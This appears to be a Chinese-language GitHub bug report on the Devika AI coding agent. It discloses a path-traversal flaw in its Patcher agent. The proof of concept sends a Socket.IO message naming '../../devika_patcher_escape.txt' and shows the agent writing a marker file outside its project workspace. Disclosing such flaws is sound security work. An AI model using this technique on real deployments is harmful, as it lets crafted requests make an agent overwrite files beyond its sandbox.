#709·devika

[错误] Patcher 代理程序路径穿越漏洞

作者: Ro1ME创建于 2026年4月20日更新于 2026年4月20日

如何重现 重现行为的步骤(示例):

前提条件

  1. 启动 Devika 服务器:
bash
cd devika
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt
Python app.py
  1. 访问 web UI,地址为 http://localhost:1337
  2. 通过 UI 创建一个新项目

重现行为的步骤

  1. 连接到 Socket.IO 端点
python
import socketio
sio = socketio.Client()
sio.connect('http://localhost:1337')
  1. 创建基准项目文件
python
# 第一条消息:创建一个普通文件
sio.emit('user-message', {
'message': 'Fix bug: create bootstrap.py',
'project_name': 'cbdscan-bug-demo'
})
# 等待完成…
  1. 触发 Patcher 代理,使用路径跨越攻击
python
# 第二条消息:路径跨越攻击
sio.emit('user-message', {
'message': 'Fix bug in file ../../devika_patcher_escape.txt',
'project_name': 'cbdscan-bug-demo'
})
  1. 验证文件是否逃逸到项目工作区
bash
# 检查文件是否存在于项目目录之外
ls data/devika_patcher_escape.txt
cat data/devika_patcher_escape.txt
# 输出:DEVIKA_PATCHER_LIVE_POC

预期行为

  • 写入前应对文件路径进行验证和正则化
  • 包含 .. 的路径应被拒绝或消毒
  • 所有文件操作应限于项目工作区
  • 应拒绝绝对路径

内容来源: stitionai/devika